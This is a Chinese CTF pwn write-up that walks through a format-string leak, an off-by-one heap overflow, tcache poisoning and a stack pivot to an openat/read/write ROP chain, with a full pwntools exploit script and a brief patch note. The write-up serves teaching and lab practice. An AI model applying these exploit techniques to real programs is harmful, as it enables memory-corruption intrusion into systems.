题目附件:https://share.weiyun.com/yoghlZi9
程序分析
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled题目还开了 seccomp,禁了三个系统调用:
openexecveexecveat
程序有两层菜单,主菜单里最关键的是set_notice/show_status:
sub_1447(s,512LL);if(strchr(s,37)||strchr(s,36))puts("[X] raw input contains illegal chars");elseif(sub_1528(s,src,256LL))puts("[X] decode failed");elsememcpy(byte_51C0,src,0x100);printf("Notice: ");if(dword_52C0){if(dword_52C4)printf("%s",byte_51C0);else{dword_52C4=1;printf(byte_51C0);}}这里有两个点:
- 原始输入里不能直接出现
%和$,但支持\x转义解码,所以可以用\x25、\x24还原格式化串 printf(byte_51C0)只会执行一次,是一个一次性格式化字符串。
管理员菜单的漏洞更直接:
v0=sub_1C1D("Write length :",1LL,qword_5180[idx]+1LL);v7=read(0,heaps[idx],v0);if(qword_5180[idx]<=v7)heaps[idx][qword_5180[idx]-1]=0;elseheaps[idx][v7]=0;edit允许写到cap + 1,因此可以做到一字节堆溢出。但有两个恶心的限制:
- 总会补一个
\0 query又都是按%s打印
再看create:
heaps[idx]=malloc(size);memset(heaps[idx],0,size);这意味着常规的 overlap 泄露并不好做:
- 新申请的块会被
memset清干净 - 就算 overlap 到了 free chunk,
edit补的\0也很容易把字符串截断
所以这题表面是“格式化字符串 + 堆菜单 + off-by-one”,但我觉得难点其实是:在memset和\0截断同时存在的情况下,怎么稳定读到 free chunk 里的指针数据
漏洞利用
Step1 格式化字符串泄露关键信息
管理员密码不是固定值,而是程序启动时随机生成的两段 8 字节数据:
snprintf(s,0x28uLL,"%016lx%016lx",qword_52D0,qword_52D8);if(!strcmp(s1,"ROBOADMIN")&&!strcmp(v14,s))所以第一步必须先把 password 泄露出来,看汇编发现show_status函数有把password写到栈上
由于 notice 支持\x解码,我们可以把 payload 写成:
payload=b"\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"解码后就是:
%6$p %7$p %15$p %23$p %14$p%6$p、%7$p泄露 password 的两半%15$p泄露 PIE%23$p泄露 libc%14$p拿一个栈地址
Step2 分析堆布局
这题登录前会经过 seccomp 初始化,libseccomp 会在堆上留下大量分配/释放痕迹,导致登录之后的 heap 并不干净
这里实际观察到的关键 bin 状态如下
tcache[0x60]: 0x...d2a0 -> 0x...e900 tcache[0x30]: 0x...d300 -> 0x...d460 tcache[0xd0]: 0x...db10 -> 0x...d7e0 -> 0x...d350 tcache[0x40]: 0x...dcd0 -> 0x...d9a0 -> 0x...d670 -> ... unsortbin: 0x5d57ca34d9d0 (size : 0xf0)发现tcache[0x60][0]和tcache[0x30][0]的地址相邻(0xd2a0和0xd300),又发现和tcache[0x30][0]最近的是tcache[0xd0][2](0x…d350),它们中间夹了个0x20大小的fastbin
add(0,"A",0x58)# 0x...d2a0add(1,"B",0x28)# 0x...d300add(2,"C",0xc8)# 0x...db10add(3,"D",0xc8)# 0x...d7e0add(4,"E",0xc8)# 0x...d350add(5,"cls",0x28)# 0x...d460利用off-by-one修改B的size为0x91,构造chunk overlap
edit(0,0x59,b'A'*0x58+p8(0x91))真正参与 overlap 的其实只有三块
A: [0x...d290, size=0x60] B: [0x...d2f0, size=0x30] E: [0x...d340, size=0xd0]修改E的数据域绕过glibc检查
如果把B视为一个0x90chunk,那么:
nextchunk = d380nextchunk->size在d388- 再往后一个 chunk 的
size在d3a8
所以要先在E里面伪造两个最小合法 chunk 头:
fake_chunk=flat({0x38:p64(0x21),0x58:p64(0x21),},filler=b"\x00",)edit(4,0x60,fake_chunk)这里顺手还要做以下堆风水:
- 申请一个稍大的块把
unsortedbin清走 - 把
tcache[0x90]填满,保证 fake0x90chunk 在free时进unsorted - 吃掉
smallbin[0x60],保证从unsorted切割块 - 清空
tcache[0x30],保证后面malloc(0x28)一定吃到我们 split 出来的 remainder
这里没有走“大块合并 -> unsorted/largebin”那套路线,因为题目限制申请大小< 0x200
Step3 泄露heap基址
free(1)# free fake 0x90(B)add(7,"F",0x40)add(1,"X",0x28)申请0x40时,对应 chunk size 是0x50,所以 fake0x90chunk 会被切成:
[0x...d2f0, size=0x50] 已分配给 slot7 [0x...d340, size=0x40] remainder注意这个remainder的 chunk 头正好落在E原来的位置上
申请0x28时,对应 chunk size 是0x30,此时0x40remainder 再 split 只会剩下0x10,不满足最小 chunk 尺寸,因此 glibc 会把整个0x40chunk 返回。于是新的 user 指针就是0x...d350
也就是E的 user 起点
所以这一步结束之后:
slot1->desc == 0x...d350slot4->desc == 0x...d350
这一点非常重要,它绕开了这题最烦的两个限制:
create会memset新 chunk,残留元数据很难保住edit总会补\0,普通字符串泄露很容易被截断
现在不一样了。后面只要把slot4free 掉,tcache 写进去的fd就会直接落在slot1看到的 user 开头。字符串从泄露数据本身开始,就不会再被前面的\0卡死
tcache[0x40]原本就已经有 6 个节点,头结点是0x...dcd0,所以 freed chunk 开头被写入的是:
fd=(heap_base+0xcd0)^(0x...d350>>12)读取fd后还原
leak=uu64()z=leak^0xcd0key=0prev=0foriinrange(0,64,12):cur=((z>>i)&0xfff)^prev key|=cur<<i prev=cur heap_base=key<<12Step4 栈迁移 + ORW ROP收尾
拿到heap_base之后,接下来的事情就简单了。slot1仍然指向刚刚 free 掉的0x40chunk,所以我们可以改它的fd为栈地址,完成任意地址分配到栈
retaddr=stackaddr-0x30edit(1,0x10,p64(retaddr^key))free(5)# 腾出 slot index,和 poison 无关add(5,"tc",0x38)# 取走 headadd(4,"migrate",0x38)# 返回 retaddr之后
- 在一块大 chunk 里放 ROP 链
- 在另一块 chunk 里放
/flag - 覆盖
admin_menu函数的stack context为leave; ret栈迁移
我这里把 ROP 链写在slot3对应的0xc8chunk 里,把/flag写在一块普通缓冲里。由于 seccomp 禁掉了open,所以用openat
elf.address=pie libc.address=libcbase rop=ROP([elf,libc])ropaddr=heap_base+0x7e0flagaddr=heap_base+0xa70edit(6,0x10,b"/flag")rop.raw(p64(0))rop.call("openat",[-100,flagaddr,0])rop.call("read",[3,flagaddr+0x10,0x50])rop.call("write",[1,flagaddr+0x10,0x50])#print(rop.dump())edit(3,0xc8,rop.chain())栈迁移覆盖内容:
leave_ret=elf.search(asm("leave;ret")).__next__()edit(4,0x38,flat(ropaddr,leave_ret))menu(6)完整Exp
frompwnimport*importstructdefdebug(c=0):if(c):gdb.attach(p,c)else:gdb.attach(p)defget_addr():returnu64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))defget_sb():returnlibc.sym['system'],next(libc.search(b'/bin/sh\x00'))defrol(value,shift,bits=64):return((value<<shift)&(2**bits-1))|(value>>(bits-shift))sd=lambdadata:p.send(data)sa=lambdatext,data:p.sendafter(text,data)sl=lambdadata:p.sendline(dataifisinstance(data,bytes)elsestr(data).encode())sla=lambdatext,data:p.sendlineafter(text,dataifisinstance(data,bytes)elsestr(data).encode())rc=lambdanum=4096:p.recv(num)ru=lambdatext:p.recvuntil(text)rl=lambda:p.recvline()pr=lambdanum=4096:print(p.recv(num))ia=lambda:p.interactive()l32=lambda:u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64=lambda:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32=lambda:u32(p.recv(4).ljust(4,b'\x00'))uu64=lambda:u64(p.recv(6).ljust(8,b'\x00'))uheap=lambda:u64(p.recv(6).ljust(8,b'\x00'))logaddr=lambdas,n:p.success('%s -> 0x%x'%(s,n))context.terminal=['gnome-terminal','-x','sh','-c']file="./pwn"libc="./libc.so.6"deflogin(pwd):sla("> \n",str(3))sla("Token:\n","ROBOADMIN")sla("(32 hex):\n",pwd)ifb"login success"inrl():success("login success!")return1else:print("\033[31mlogin failed!\033[0m")return0defmenu(idx):sla("> ",str(idx))defadd(idx,name,size):menu(1)sla("Index:\n",str(idx))sla("Task name:\n",name)sla("Desc size:\n",str(size))defedit(idx,size,cont):menu(2)sla("Index:\n",str(idx))sla("Write length :",str(size))sa("New desc bytes:",cont)defshow(idx):menu(3)sla("Index:\n",str(idx))ru(" => ")deffree(idx):menu(5)sla("Index:\n",str(idx))context.binary=elf=ELF("./pwn")context.arch="amd64"context.log_level="debug"ifargs.Delse"info"p=process(file)elf=ELF(file,False)libc=ELF(libc,False)payload="\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"ru("> \n")sl(str(1))sleep(0.5)sl(payload)ru("> \n")#debug("b *$rebase(0x1A4A)")#pause()sl(str(2))ru("Notice: ")leaks=rl().split(b' ')#print(leaks)pwd=leaks[0][2:]+leaks[1][2:]success("password: %s",pwd.decode())pie=int(leaks[2],16)-0x2893libcbase=int(leaks[3],16)-0x29d90stackaddr=int(leaks[4],16)ifnotlogin(pwd):exit(0)add(0,"clear",0x180)# clear unsortedbinfree(0)# fill tcacheforiinrange(7):add(i,f"T{i}",0x80)foriinrange(7):free(i)add(0,"A",0x58)add(1,"B",0x28)add(2,"C",0xc8)add(3,"D",0xc8)add(4,"E",0xc8)add(5,"cls",0x28)add(6,"clear",0x48)# clear smallbinfake_chunk=flat({0x38:p64(0x21),0x58:p64(0x21),},filler=b"\x00",)edit(4,0x60,fake_chunk)edit(0,0x59,b'A'*0x58+p8(0x91))free(1)add(7,"F",0x40)add(1,"X",0x28)free(4)show(1)leak=uu64()z=leak^0xcd0key=0prev=0foriinrange(0,64,12):cur=((z>>i)&0xfff)^prev key|=cur<<i prev=cur heap_base=key<<12logaddr("heapbase",heap_base)logaddr("pie",pie)logaddr("libcbase",libcbase)logaddr("stack",stackaddr)elf.address=pie libc.address=libcbase rop=ROP([elf,libc])ropaddr=heap_base+0x7e0flagaddr=heap_base+0xa70edit(6,0x10,b"/flag")rop.raw(p64(0))rop.call("openat",[-100,flagaddr,0])rop.call("read",[3,flagaddr+0x10,0x50])rop.call("write",[1,flagaddr+0x10,0x50])#print(rop.dump())edit(3,0xc8,rop.chain())leave_ret=elf.search(asm("leave;ret")).__next__()retaddr=stackaddr-0x30edit(1,0x10,p64(retaddr^key))free(5)add(5,"tc",0x38)#debug("b *$rebase(0x2635)")#pause()add(4,"migrate",0x38)edit(4,0x38,flat(ropaddr,leave_ret))menu(6)ia()漏洞修补
根据题目描述(如下)进行修复的
请同时检查 set_notice() 与 show_status() 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 “[X] decoded input contains illegal chars”。
对\x转换后的字符进行检查,过滤了%字符,同时将[X] decoded input contains illegal chars字符串写到eh_frame段,修改错误输出为题目要求即可